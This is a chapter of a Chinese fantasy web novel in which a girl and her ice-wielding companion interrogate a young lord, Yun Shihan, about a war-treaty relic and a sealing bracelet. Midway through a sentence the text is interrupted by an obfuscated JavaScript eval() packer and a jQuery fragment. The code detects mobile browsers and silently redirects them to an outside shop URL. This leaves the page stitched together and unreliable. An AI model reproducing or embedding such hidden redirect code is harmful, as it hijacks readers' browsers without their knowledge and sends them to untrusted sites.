无数冰锥朝着三人的方向射过去,三人起身快速躲避,由于速度过快,过于密集,无论他们怎么躲,都会被包围。
而且他们的五行之气在先前的战斗中都消耗了不少,此刻再没有多少反抗之力。
三人很快落入下风,冰锥宛若刀子般划过他们的衣服,瞬间划出道道血痕。
拿锤子的少年靠着一身力气,敲碎了靠近他身边的冰锥才躲过这一劫,其他人却没有他这般好运,寒冷的湿意沁入骨髓,让他们的身体在那一瞬间僵直,变成了一块冰雕,整个包围住了他的全身,而滑落在地上的冰晶表面立马附上一层冰霜。
少年看见这一幕,表情立马变得惊恐起来,他难以置信看着出手的少女,没有想到她居然真的敢下死手。
少年握紧了手中的锤柄,思考着接下来要如何做,才可以从这两个人手中活下来。
还没有想好,他就听见那位他看不起的少女,散发着他不容拒绝的威压看着她,带着审问语气说:“告诉我,你们来这里的目的是要找什么?”
少年眼神恍惚一瞬,似乎没有想到她问的是这个问题,可有了刚刚的场景,他不是很想告诉她。
赫连蹊看出了他的想法,又提了另外一个要求:“只要你告诉我,我就放过你们如何?”
“你没有听错哦,是放了你们三个人。”她用手比划了一下,而后笑着看向他,“你应该也看出来了,你的那两个同伴没有死,只是被小青鸢的冰术给冻住了。当然了,你也可以选择拒绝,然后自己用锤子把冰块给凿碎,但你要不要来试试,是你的速度快,还是小青鸢的法术更快?”
她轻快的语气突然转冷,像是在问他,又像是在威胁,“这一次是冻住,下一次可就不是这么简单了。”
少年听完一点反应都没有,看着像是被她给吓到了,作为刚入学的新生,即便已经有家族遗传的天赋,可他到底是被温室娇养的花朵,没有踏入外面的世界,不清楚外面到底是什么样子。
面对如此强悍的敌人,他们毫无还手之力,只能任由对方拿捏。
就像现在。
他没得选,为了活下去,没得选。
在心中纠结了几下,他似乎说服自己,抬起头开了口:“我告诉你们,但你们一定要守承诺,放我们安全离开这里。”
赫连蹊挑眉,说:“好。”
少年说道:“我们来这里是为了找一个东西,它是可以消除止战誓约的“钥匙”,名为浮云盘。”
“浮云盘?”赫连蹊念了两句,又问:“谁告诉你这里有的?”
“本少爷当然是有信息。”少年回答完怕她又突然套话,这次学聪明了一点,连忙转移话题,有些警惕道:“答应你的我都说了,你该遵守诺言,放我们离开了?”
赫连蹊哦了一声,看着他,语气随意道:“所以你们过来是为了找到浮云盘消除止战誓约。”
顿了顿,她笑着问:“你们准备干什么?”
少女似乎没有等他的回答,便自顾自往下说:“听说止战誓约是为了限制神光大陆三界五州,凡是到了仙级便不可以参与各州之间的战争,不许对弱者动手,因此到了这些地方,便会被限制大半部分修为。”
“而你们州竟然派了你过来寻找浮云盘,解开这个限制,那你们必然是要挑起战争,是不是还要打算统一五州?”
少年看着她把所有计划就这么用平静地口吻全说出来,一下子没忍住脾气,快速说出口:“这不关你的事。”
说完他就有一点后,生怕这两个人变脸,把他也给冻住。
好在并没有,赫连蹊只是笑了笑,“别这么害怕,你们竟然敢做,怎么能害怕别人说出来呢。”
她似乎有些不解,歪了歪头看着他。
“你想要做什么,我不在意,不管是统一还是毁灭。毕竟我和这些地方又没有关系,你们怎么打架,怎么打死的,我只会站在一旁看戏,然后再说上一两句,为什么打不死呢,你怎么这么废物之类的话。”
听着她说的这些话,少年觉得不可思议,可她话中说的却全都是真情实感,一点都不像是在说什么假话。
但是为什么会这样呢?她如果是从外面来的,那自然也是五洲中的百姓,难道她就一点都不担心自己的国家,担心他们受到伤害吗?
毕竟要是真的解除止战誓约,那些因为止战誓约限制的仙者就会毫不犹豫出手,对其他四州下手,可以说神光大陆再无安全之地。
但转念一想,她身边的那个人这么厉害,换做是他,也可以毫不担心。
这样一想似乎能解释得通。
少年就这样自己说服了自己,并且深信不疑。
看的赫连蹊头顶缓缓冒出一个问号,心中疑惑:这小子在脑补什么呢。
同时也更加想知道他的身份,她也不是什么扭捏的性子,直接便问:“告诉我你的身份吧,这位少年,你是哪州的世子殿下呢?”
少年觉得这才是她的真面目,不过该说的和不该说的他全都说得出来,也不差这一个名字,少年便毫无忌惮地开口:“听好了,小爷行不更名,坐不改姓,青州云试寒。”
听见这个名字,赫连蹊便知道他是谁了。
那个在入学门口遇见的雷术少年,最终被分到浮光院天资聪颖的少年。
云试寒说完,便觉得这里没自己什么事,就想离开。
毕竟这里实在是太冷了,哪怕穿着特殊材质的黑色斗篷,也阻挡不了往他袖口里冒的冷气。
他能在这里说这么长时间的话,也算他耐力好,要是换成其他人,早就被冻成冰块了。
赫连蹊见他说完话便自顾自拿起锤子,把旁边两个大冰块给砸开,只听“咔嚓”一声,坚硬无比的冰晶瞬间碎成一片一片,滚落在两旁,而被困在里面的人得以放出。
两人抖了抖身上的碎冰屑,齐齐打了一声喷嚏,和少年一样,他们都觉得这里无比的冷,哪怕被冻住,他们只是动不了,但是可以听,可以感受。
因此把他们几个人聊的话内容全部都听了个一清二楚。
只是到底是自家世子说的,他们也不好说什么。
只能把今日的事情全部都给瞒住。
两人获得自由的第一时间便是去喊自家世子,声音凄惨,听着像是遭了什么天大的罪,“少爷。”
这副模样换做谁都会同情可怜,然而这个人却是云试寒,最不可能的人。只见少年一脸嫌弃推开他们,快速说道:“离我远点。”
两人丝毫没有听他这句话,还一个劲的往他身边靠,弄得少年很是嫌弃他们。
赫连蹊看着三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366542|199827||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人相处的模式,撑着下巴难掩心中的好奇,她弯着眉眼,笑容可掬发问:“你们两个是他的下属,这样的身份也可以来太白学院入学?”
云试寒一人难敌四手,最终放弃抵抗,任由两个人靠近他,上下盯着他看,听见少女这句话,少年解释:“他们不是,我们三个人都家族关系比较好,入学之后自然也是在一起。”
赫连蹊点了点头,表示知道了。
毕竟还没有见过这么熟的上下属呢。
身旁的青鸾仿佛能听见她的心中话,往她的方向看了一眼。
赫连蹊伸出手摸了摸她的脑袋,“我们可不是上下属,我们是伙伴。”
青鸾微低下头让她更方便,听着少女的话,满意地眯起了眼眸,还不忘记疯狂点头。
对对对,尊上说的对。
困住他们的冰锥没了,可包围整个山的结界依旧存在,三人想要出去,就只能让她把结界撤走。
青鸾听从赫连蹊的决定,她没有让她做,那她就不做。
赫连蹊在知道他的身份后,就在想一件事情。
他竟然贵为青州的世子,那么自然应该知道不少奇珍异宝,不知她手中的这个东西他知道吗?
所以她才一直没有放他们离开。
至少明面上没有。
毕竟就算让他们获得自由,解不开禁制,他们也出不去。
“云试寒,问你一件东西,不知道你知不知道这个是什么?”
赫连蹊伸出手,露出手腕上的金镯子,和普通的金镯子比一分不差,若是没有发现它的不对之处,谁都不会想到它是一件法器。
云试寒顺着她的声音看去,发现少女手腕上戴着一支金镯子,下意识的他觉得这是在戏耍他?
这种东西怎么可能不知道。
赫连蹊看他的脸色,猜到他心中所想,解释说:“这不是普通的金镯子,你知道有没有法器是限制人的修为?”
云试寒闻声,想到她身上传的没有修为,再结和她这句问的话,很快明白了她的意思。
“你问这个啊,让我想一想。”
云试寒搜索着自己已知的法器,开始匹配有相似功能的,他身旁的两人也没有闲着,也在尽心尽力负责帮他想。
赫连蹊在一旁静静等着,她之所以敢问,也是知道他的身份,还有他竟然知道浮云盘这个东西,那必然是有人告知,那个人是谁不言而喻。
他或许不知道,但他的背后势力一定清楚,难免没有告诉他一些消息,赫连蹊便打算试一试。
如果这里不行,那她就自己行动。
只要是存在这个世上,不怕找不到。
云试寒想了一会,还真让他想到一个差不多功能的法器。
说是法器也并不准确,因为它是神器。
云试寒咽了咽唾沫,绷紧了神经说:“若是没有猜错,你手中的这是仙门圣物阴阳环。”
“据传言,它可以让一个人从魔变成人,代价就是修为全无,好处便是可以重新修炼,成为仙。”
“不过据说这已经失传近百年,把它拿走的还是我们太白学院,一位浮光院的弟子,虽然知道是谁,但是找不回来。”
他说到这里,又看了看她手上的金手镯,散漫一笑,“没有想到现在会在你手上。”